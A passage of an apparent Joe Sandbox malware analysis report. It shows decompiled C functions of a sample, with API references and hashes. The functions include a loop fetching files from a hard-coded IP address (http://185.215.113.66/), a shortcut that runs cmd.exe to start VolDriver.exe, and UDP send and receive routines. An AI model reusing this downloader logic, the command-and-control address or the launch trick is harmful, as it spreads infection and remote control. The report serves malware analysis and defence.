								E00405C90( *((intOrPtr*)(_v24 + 0x100)),  *((intOrPtr*)(_v24 + 4)),  *((intOrPtr*)(_v24 + 0x100)),  *((intOrPtr*)(_v24 + 0x104)));
								_t160 = _t160 + 0x3c;
								_v13 = 1;
							} else {
								_v20 = _v20 + 1;
								continue;
							}
							break;
						}
						__eflags = _v13 & 0x000000ff;
						if((_v13 & 0x000000ff) == 0) {
							_t91 = E004044E0(_a16, _v12, _a12, _a16, 1);
							_t160 = _t160 + 0x10;
							__eflags = _t91 & 0x000000ff;
							if((_t91 & 0x000000ff) == 0) {
								 *0x4163b4 = 0;
								_v5 = 0;
							}
						}
						E00408C70(_v12);
						__eflags = _v5 & 0x000000ff;
						if((_v5 & 0x000000ff) != 0) {
							_v28 = CreateFileW(0x4165c8, 0x40000000, 0, 0, 2, 2, 0);
							__eflags = _v28 - 0xffffffff;
							if(_v28 != 0xffffffff) {
								_v32 = 0;
								while(1) {
									__eflags = _v32 -  *0x4163b4; // 0x0
									if(__eflags >= 0) {
										break;
									}
									_t87 =  *0x4163b0; // 0x0
									_t88 =  *0x4163b0; // 0x0
									WriteFile(_v28,  *(_t88 + 0x108 + _v32 * 0x110),  *(_t87 + 0x10c + _v32 * 0x110),  &_v36, 0);
									_t141 = _v32 + 1;
									__eflags = _t141;
									_v32 = _t141;
								}
								FlushFileBuffers(_v28);
								CloseHandle(_v28);
							}
						}
					}
				}
				LeaveCriticalSection(0x416398);
				return _v5;
			}

APIs

EnterCriticalSection.KERNEL32(00416398,?,?,00000000,0040A547,006A0266,?,0040A563,00000000,0040B81C,?), ref: 00404981
CreateFileW.KERNEL32(004165C8,40000000,00000000,00000000,00000002,00000002,00000000), ref: 00404B30
WriteFile.KERNEL32(000000FF,?,?,00000000,00000000), ref: 00404B92
FlushFileBuffers.KERNEL32 ref: 00404B9E
CloseHandle.KERNEL32(000000FF), ref: 00404BA8
LeaveCriticalSection.KERNEL32(00416398,?,?,00000000,0040A547,006A0266,?,0040A563,00000000,0040B81C,?), ref: 00404BB3

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWrite
String ID:
API String ID: 2945370292-0
Opcode ID: 1fef3702c3e63574ed35e0dfe7bc8173a088fc6aeaa4d3467fc2287270656826
Instruction ID: 17ab94b32ecbdd43ae5be3672dc601cffb9a037549fc2dffe68e9228f76f24ff
Opcode Fuzzy Hash: 1fef3702c3e63574ed35e0dfe7bc8173a088fc6aeaa4d3467fc2287270656826
Instruction Fuzzy Hash: 487182B5A00109ABCB04CF94D985FEFB7B5FB88304F148169EA05B7381C779E941CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BBA0 Relevance: 9.1, APIs: 6, Instructions: 80
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040BBA0(signed int* _a4, long _a8, _Unknown_base(*)()* _a12, void* _a16, DWORD* _a20, HANDLE* _a24) {
				long _v8;
				signed int* _v12;
				void* _v16;
				void* _t49;

				_v8 = 0;
				if(_a4 == 0) {
					L8:
					return _v8;
				}
				_v12 = _a4;
				EnterCriticalSection( &(_v12[1]));
				E0040BB20( &(_v12[1]), _v12);
				if(_a12 != 0) {
					_v12[7] = E00408B60(_v12[7], 4 +  *_v12 * 4, _v12[7], 4 +  *_v12 * 4);
					if(_v12[7] != 0) {
						_v16 = CreateThread(0, _a8, _a12, _a16, 0, _a20);
						if(_v16 != 0) {
							 *((intOrPtr*)(_v12[7] +  *_v12 * 4)) = _v16;
							 *_v12 =  *_v12 + 1;
							if(_a24 != 0) {
								_t49 = GetCurrentProcess();
								DuplicateHandle(GetCurrentProcess(), _v16, _t49, _a24, 0, 0, 2);
							}
							_v8 = 1;
						}
					}
				}
				LeaveCriticalSection( &(_v12[1]));
				goto L8;
			}

APIs

EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040BBC4

Part of subcall function 0040BB20: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040BB60
Part of subcall function 0040BB20: CloseHandle.KERNEL32(?), ref: 0040BB79

CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040BC1F
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040BC5C
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040BC67
DuplicateHandle.KERNEL32 ref: 0040BC6E
LeaveCriticalSection.KERNEL32(-00000004), ref: 0040BC82

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
String ID:
API String ID: 2251373460-0
Opcode ID: 33c17659471092c2b756b62356fc1a2425cda27d656a6ab2967af513715b6e0f
Instruction ID: 02f9ad1cbe3c42a1849ee7ac27792547e5d144dd11b2029950602c6e4363e771
Opcode Fuzzy Hash: 33c17659471092c2b756b62356fc1a2425cda27d656a6ab2967af513715b6e0f
Instruction Fuzzy Hash: 3E311074900208EFDB04DF94D899F9E7BB5FF48304F108159E905A7391D775AA91CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00407980 Relevance: 9.1, APIs: 6, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407980(signed int _a4, signed int _a8) {

				L0040EDFE();
				L0040EDF8();
				_a4 = _a4 | _a4;
				_a8 = _a8 | _a8;
				L0040EDFE();
				L0040EDF8();
				_a4 = _a4 & 0x0000ffff | _a4 & 0xffff0000;
				_a8 = _a8 & 0x0000ffff | _a8 & 0xffff0000;
				L0040EDFE();
				L0040EDF8();
				_a4 = _a4 & 0x00ff00ff | _a4 & 0xff00ff00;
				_a8 = _a8 & 0x00ff00ff | _a8 & 0xff00ff00;
				return _a4;
			}

0x0040798d
0x0040799e
0x004079a7
0x004079aa
0x004079c0
0x004079dc
0x004079e5
0x004079e8
0x004079fe
0x00407a1a
0x00407a23
0x00407a26
0x00407a32

APIs

_allshl.NTDLL ref: 0040798D
_aullshr.NTDLL ref: 0040799E
_allshl.NTDLL ref: 004079C0
_aullshr.NTDLL ref: 004079DC
_allshl.NTDLL ref: 004079FE
_aullshr.NTDLL ref: 00407A1A

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: 8ea7b64097fb68af6753185209a0c413dd0031376398f2c807c5146dc0d87a2e
Instruction ID: 2093b42955e45bd62e61740d1c7aadb5a606cc23c90c49e7bcc84aa687a307ef
Opcode Fuzzy Hash: 8ea7b64097fb68af6753185209a0c413dd0031376398f2c807c5146dc0d87a2e
Instruction Fuzzy Hash: 2C1121325005286B9B10EF5EC4826CABBD6EF84361B15C136FC2CDF359D634D9515BD4

Uniqueness

Uniqueness Score: -1.00%

Function 00405CF0 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 58
sleepCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00405CF0() {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				signed int _v172;
				signed char _t35;
				void* _t45;
				void* _t46;

				_v44 = 0;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v28 = 0;
				_v24 = 0;
				_v20 = 0;
				_v16 = 0;
				_v12 = 0;
				_v8 = 0;
				_v168 = 0x411130;
				_v164 = 0x411134;
				_v160 = 0x411138;
				_v156 = 0x41113c;
				_v152 = 0x411140;
				while(1) {
					Sleep(0x3e8);
					_v172 = 0;
					while(_v172 < 5) {
						Sleep(0x3e8);
						_push( *((intOrPtr*)(_t45 + _v172 * 4 - 0xa4)));
						_push("http://185.215.113.66/");
						wsprintfA( &_v148, "%s%s");
						_t35 = E0040D440( &_v148, _t45 + _v172 * 4 - 0x28);
						_t46 = _t46 + 0x18;
						if((_t35 & 0x000000ff) == 1) {
							E0040D4F0( &_v148, 0);
							_t46 = _t46 + 8;
						}
						_v172 = _v172 + 1;
					}
					Sleep(0xdbba0);
				}
			}

APIs

Sleep.KERNEL32(000003E8), ref: 00405D54
Sleep.KERNEL32(000003E8), ref: 00405D83
wsprintfA.USER32 ref: 00405DA8
Sleep.KERNEL32(000DBBA0), ref: 00405DEB

Strings

http://185.215.113.66/, xrefs: 00405D97
%s%s, xrefs: 00405D9C

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Sleep$wsprintf
String ID: %s%s$http://185.215.113.66/
API String ID: 3195947292-2646931437
Opcode ID: c2637b0e451e789f276395e354baee512bf947ab07dd5ce8b1a8847efd57730a
Instruction ID: 33448fd8f16b6151abdcaf40b6ca2b1b809edec1cb8df60be6306fd5b5127b81
Opcode Fuzzy Hash: c2637b0e451e789f276395e354baee512bf947ab07dd5ce8b1a8847efd57730a
Instruction Fuzzy Hash: 22213B70E00318AFCB50DF64DD45BDEBBB4AF09304F1080ABD24DB6281DB785A898F5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040DBD0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106
networkCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040DBD0(int __eax, long _a4, void* _a8, intOrPtr _a12, short _a16) {
				short _v6;
				short _v10;
				short _v14;
				short _v18;
				short _v20;
				short _v22;
				int* _v24;
				char _v25;
				char _v29;
				int* _v52;
				char _v53;
				short _t30;
				short _t35;
				long _t38;
				int* _t45;
				intOrPtr* _t50;
				void* _t60;
				int _t64;
				long _t67;

				_t50 = _a4;
				_t64 = __eax;
				_t30 = 0;
				_v25 = 0;
				if(_t50 == 0 ||  *_t50 != 0x756470 || _a8 == 0 || __eax == 0) {
					L12:
					return _t30;
				} else {
					_t60 = __eax + 4;
					_t45 = E00408B20(_t60);
					_t6 =  &(_t45[1]); // 0x4
					_v24 = _t45;
					 *_t45 = _t64;
					memcpy(_t6, _a8, _t64);
					_v18 = 0;
					_v14 = 0;
					_v10 = 0;
					_v6 = 0;
					_t35 = _a16;
					_v20 = 2;
					__imp__#9(_t35);
					_v22 = _t35;
					_v20 = _a12;
					if(_t60 == 0) {
						L10:
						_v29 = 1;
						E00408C70(_t45);
						return _v29;
					} else {
						while(1) {
							_t38 = _a4;
							__imp__#20( *((intOrPtr*)(_t38 + 8)), _t45, _t60, 0,  &_v24, 0x10);
							_t67 = _t38;
							if(_t67 == 0xffffffff) {
								break;
							}
							InterlockedExchangeAdd(_a4 + 0x1c, _t67);
							_t60 = _t60 - _t67;
							_t45 = _t45 + _t67;
							if(_t60 != 0) {
								continue;
							} else {
								_v53 = 1;
								E00408C70(_v52);
								return _v53;
							}
							goto L13;
						}
						if(_t60 != 0) {
							E00408C70(_v52);
							_t30 = _v53;
							goto L12;
						} else {
							_t45 = _v52;
							goto L10;
						}
					}
				}
				L13:
			}

APIs

memcpy.NTDLL(00000004,00000000,?,?), ref: 0040DC27
htons.WS2_32(?), ref: 0040DC50
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 0040DC78
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040DC8D

Strings

pdu, xrefs: 0040DBEF

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedhtonsmemcpysendto
String ID: pdu
API String ID: 2164660128-2320407122
Opcode ID: 64e6edf90043f3ef5267befaaf6f5bc9513a580fe3cc4bc2b57856c41bc94de3
Instruction ID: 1900bc5e36bec968277d7fd378407ddad580e15f752f42e7870c86cf4b77d333
Opcode Fuzzy Hash: 64e6edf90043f3ef5267befaaf6f5bc9513a580fe3cc4bc2b57856c41bc94de3
Instruction Fuzzy Hash: 2F31E1766083009FD710DFA9D880A9BB7E4AF89714F04456EF99897382D674CD08CBEB

Uniqueness

Uniqueness Score: -1.00%

Function 00404D70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94
comCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00404D70(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				short _v540;
				char* _t37;
				intOrPtr _t42;

				__imp__CoInitialize(0);
				_t37 =  &_v12;
				__imp__CoCreateInstance(0x410338, 0, 1, 0x410328, _t37);
				_v8 = _t37;
				if(_v8 >= 0 && _v12 != 0) {
					wsprintfW( &_v540, L"/c start .\\%s & start .\\%s\\VolDriver.exe", 0x415124, 0x415124);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x50))))(_v12, L"%windir%\\System32\\cmd.exe");
					_t42 =  *_v12;
					_t13 = _t42 + 0x44; // 0xffed0c85
					 *((intOrPtr*)( *_t13))(_v12, _a8, _a12);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x3c))))(_v12, 7);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x2c))))(_v12,  &_v540);
					_v8 =  *((intOrPtr*)( *((intOrPtr*)( *_v12))))(_v12, 0x410348,  &_v16);
					if(_v8 >= 0 && _v16 != 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x18))))(_v16, _a4, 1);
						 *((intOrPtr*)( *((intOrPtr*)( *_v16 + 8))))(_v16);
					}
					return  *((intOrPtr*)( *((intOrPtr*)( *_v12 + 8))))(_v12);
				}
				return _t37;
			}

APIs

CoInitialize.OLE32(00000000), ref: 00404D7B
CoCreateInstance.OLE32(00410338,00000000,00000001,00410328,?), ref: 00404D93
wsprintfW.USER32 ref: 00404DC6

Strings

/c start .\%s & start .\%s\VolDriver.exe, xrefs: 00404DBA
%windir%\System32\cmd.exe, xrefs: 00404DCF

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CreateInitializeInstancewsprintf
String ID: %windir%\System32\cmd.exe$/c start .\%s & start .\%s\VolDriver.exe
API String ID: 2038452267-2473591295
Opcode ID: eadea155d48dcf4b5dc2eddb40bd72b199a5ff6e8701186b8fb8f04e5b27ea74
Instruction ID: 2a49fd5d28e8ccd51fed007e1346deb4ba552c81a06522ba7ecdc7d03be8f695
Opcode Fuzzy Hash: eadea155d48dcf4b5dc2eddb40bd72b199a5ff6e8701186b8fb8f04e5b27ea74
Instruction Fuzzy Hash: 8B31B775A40208EFCB04DF98D885EDEB7B5FF88704F208199E615A72A0C674AE81CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00409660 Relevance: 7.6, APIs: 5, Instructions: 74
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409660(void* __eax) {
				void* _v8;
				long _v12;
				void* _v16;
				signed int _v20;
				long _v24;
				signed int _t36;
				void* _t38;
				signed int _t65;

				if( *0x416e2c == 0) {
					return __eax;
				}
				_t36 =  *0x416e2c; // 0x0
				_v12 = _t36 << 3;
				_t38 = E00408B20(_v12);
				_v8 = _t38;
				__eflags = _v8;
				if(_v8 != 0) {
					_v20 = 0;
					while(1) {
						__eflags = _v20 -  *0x416e2c; // 0x0
						if(__eflags >= 0) {
							break;
						}
						 *((intOrPtr*)(_v8 + _v20 * 8)) =  *((intOrPtr*)( *((intOrPtr*)(0x416e30 + _v20 * 4)) + 4));
						 *((intOrPtr*)(_v8 + 4 + _v20 * 8)) =  *((intOrPtr*)( *((intOrPtr*)(0x416e30 + _v20 * 4)) + 8));
						_t65 = _v20 + 1;
						__eflags = _t65;
						_v20 = _t65;
					}
					_v16 = CreateFileW(0x416be8, 0x40000000, 0, 0, 2, 2, 0);
					__eflags = _v16 - 0xffffffff;
					if(_v16 != 0xffffffff) {
						WriteFile(_v16, _v8, _v12,  &_v24, 0);
						FlushFileBuffers(_v16);
						CloseHandle(_v16);
					}
					InterlockedExchange(0x4143b4, 0x3d);
					return E00408C70(_v8);
				}
				return _t38;
			}

APIs

CreateFileW.KERNEL32(00416BE8,40000000,00000000,00000000,00000002,00000002,00000000), ref: 004096F8
WriteFile.KERNEL32(000000FF,00000000,?,?,00000000), ref: 00409719
FlushFileBuffers.KERNEL32 ref: 00409723
CloseHandle.KERNEL32(000000FF), ref: 0040972D
InterlockedExchange.KERNEL32(004143B4,0000003D), ref: 0040973A

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
String ID:
API String ID: 442028454-0
Opcode ID: ffe5f978a5d75daa98a19236d1bc63fd9fce486f64e544f4dc3e6b78cafa0eaa
Instruction ID: 09bb8ad8a153661e876b0a8aa7cfca9b830c2f60f8f6b2a0515d583d03b87c58
Opcode Fuzzy Hash: ffe5f978a5d75daa98a19236d1bc63fd9fce486f64e544f4dc3e6b78cafa0eaa
Instruction Fuzzy Hash: 11314CB8A00208EFCB14DF94D845F9EB7B1BB48300F20C669E515A7391C775AE51CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00407570 Relevance: 7.5, APIs: 5, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00407570(signed int __edx, signed int _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				signed int _v12;

				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				_v12 = _a4 | _a8 | _a12 | _a16 | _a20 | _a24;
				_v8 = __edx | __edx | __edx | __edx | __edx | __edx;
				return _v12;
			}

0x0040757b
0x0040757e
0x0040758a
0x0040758d
0x00407599
0x0040759c
0x004075a8
0x004075ab
0x004075b7
0x004075ba
0x004075c6
0x004075cb
0x004075ce
0x004075dc

APIs

_allshl.NTDLL ref: 0040757E
_allshl.NTDLL ref: 0040758D
_allshl.NTDLL ref: 0040759C
_allshl.NTDLL ref: 004075AB
_allshl.NTDLL ref: 004075BA

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: _allshl
String ID:
API String ID: 435966717-0
Opcode ID: d51c0cfb7cecbe22f3a005448584aa28a11641046ad401d5bf26070a09b22ed4
Instruction ID: a1b14869e86cb328d4ae7b27d3c95eded15a07d37ad0fd28e3103b9823fe5a09
Opcode Fuzzy Hash: d51c0cfb7cecbe22f3a005448584aa28a11641046ad401d5bf26070a09b22ed4
Instruction Fuzzy Hash: C4F03172901429AB9710EEEF84824CAFBE69F88364B118576FC18E3270E9709D1146F2

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD00 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DD00(intOrPtr* __ebx, void* __edi) {
				void* _t8;
				intOrPtr* _t18;
				intOrPtr _t23;
				intOrPtr _t26;
				void* _t28;

				_t18 = __ebx;
				if(__ebx != 0 &&  *__ebx == 0x756470) {
					SetEvent( *(__ebx + 0x10));
					WaitForSingleObject( *(__ebx + 0x14), 0xffffffff);
					CloseHandle( *(__ebx + 0x14));
					_t26 =  *((intOrPtr*)(__ebx + 0x20));
					if(_t26 == 0) {
						L6:
						E00409600( *((intOrPtr*)(_t18 + 8)));
						return E00408C70(_t18);
					}
					do {
						E00408C70( *((intOrPtr*)(_t26 + 0x18)));
						_t23 =  *((intOrPtr*)(_t26 + 0x1c));
						E00408C70(_t26);
						_t28 = _t28 + 8;
						_t26 = _t23;
					} while (_t23 != 0);
					goto L6;
				}
				return _t8;
			}

APIs

SetEvent.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD11
WaitForSingleObject.KERNEL32(?,000000FF,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD1D
CloseHandle.KERNEL32(?), ref: 0040DD27

Part of subcall function 00408C70: HeapFree.KERNEL32(00000000,00000000,00401192), ref: 00408CCB

Strings

pdu, xrefs: 0040DD04

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CloseEventFreeHandleHeapObjectSingleWait
String ID: pdu
API String ID: 309973729-2320407122
Opcode ID: ec457a0ef5b77bc146b0fe158738aa773204c9d46a9fd8b8c2a6535aafe8bc7d
Instruction ID: 47894c430adc079fffee70a5773b5e3dad97f275ab1eff5073097a11c037a3ac
Opcode Fuzzy Hash: ec457a0ef5b77bc146b0fe158738aa773204c9d46a9fd8b8c2a6535aafe8bc7d
Instruction Fuzzy Hash: 72F0C872804210ABCB20AFA5EC84D5777785F45320304466EFD4467396CA38DC45C7B8

Uniqueness

Uniqueness Score: -1.00%

Function 00404BD0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404BD0(WCHAR* _a4) {
				int _v8;
				short _v1052;
				intOrPtr _v1056;

				_v8 = GetDriveTypeW(_a4);
				_v1056 = _v8;
				if(_v1056 >= 2) {
					if(_v1056 <= 3 || _v1056 == 6) {
						if(QueryDosDeviceW(_a4,  &_v1052, 0x208) != 0 && StrCmpNW( &_v1052, L"\\??\\", 4) == 0) {
							_v8 = 1;
						}
					}
				}
				return _v8;
			}

0x00404be3
0x00404be9
0x00404bf6
0x00404bff
0x00404c24
0x00404c3e
0x00404c3e
0x00404c24
0x00404bff
0x00404c4b

APIs

GetDriveTypeW.KERNEL32(00404C8F), ref: 00404BDD
QueryDosDeviceW.KERNEL32(00404C8F,?,00000208), ref: 00404C1C
StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 00404C34

Strings

\??\, xrefs: 00404C28

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: DeviceDriveQueryType
String ID: \??\
API String ID: 1681518211-3047946824
Opcode ID: 84def6f5971ed18c5027915d3437ea3a00eaa7db189a83ce85c670b15ed75c6e
Instruction ID: 6661d798698d2c2b86e5031d8900814977fd28410c715a717113d467a9626b5b
Opcode Fuzzy Hash: 84def6f5971ed18c5027915d3437ea3a00eaa7db189a83ce85c670b15ed75c6e
Instruction Fuzzy Hash: 26014FB494520CEBDF64CF95CE48AD977B4AB84701F0081BAAB05A7280D6789EC5CF9C

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAD0 Relevance: 6.1, APIs: 4, Instructions: 84
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040DAD0(char* __edx, intOrPtr _a4) {
				short _v18;
				short _v22;
				short _v26;
				short _v28;
				short _v30;
				char _v32;
				char _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				char _v56;
				intOrPtr _v68;
				char* _t23;
				short _t26;
				long _t29;
				short _t34;
				intOrPtr _t37;
				intOrPtr _t43;
				long _t47;
				signed int _t48;
				void* _t50;

				_t40 = __edx;
				_t50 = (_t48 & 0xfffffff8) - 0x1c;
				_t34 = 0;
				_t43 = _a4;
				_v28 = 0;
				do {
					_t23 =  &_v32;
					_v32 = 0;
					__imp__#10( *(_t43 + 8), 0x4004667f, _t23);
					if(_t23 == 0xffffffff) {
						break;
					}
					_t37 = _v44;
					if(_t37 != 0) {
						if(_t34 == 0 || _v40 < _t37) {
							_v40 = _t37;
							_t26 = E00408B60(_t37, _t40, _t34, _t37);
							_t37 = _v44;
							_t50 = _t50 + 8;
							_t34 = _t26;
						}
						_v30 = 0;
						_v26 = 0;
						_v22 = 0;
						_v18 = 0;
						_t29 =  *(_t43 + 8);
						_v32 = 0;
						_t40 =  &_v32;
						_v36 = 0x10;
						__imp__#17(_t29, _t34, _t37, 0,  &_v32,  &_v36);
						_t47 = _t29;
						if(_t47 != 0xffffffff && _t47 != 0) {
							InterlockedExchangeAdd(_t43 + 0x18, _t47);
							_t40 =  &_v56;
							E0040D9A0(_t43, _t34, _t47, _v68,  &_v56);
							_t50 = _t50 + 0x14;
						}
					}
				} while (WaitForSingleObject( *(_t43 + 0x10), 1) == 0x102);
				return E00408C70(_t34);
			}

APIs

ioctlsocket.WS2_32 ref: 0040DAFB
recvfrom.WS2_32 ref: 0040DB68
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040DB7E
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040DB9F

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
String ID:
API String ID: 3980219359-0
Opcode ID: 42d21b16754e23747dafd69a251c4984d532d74facc10c73496740973b16efae
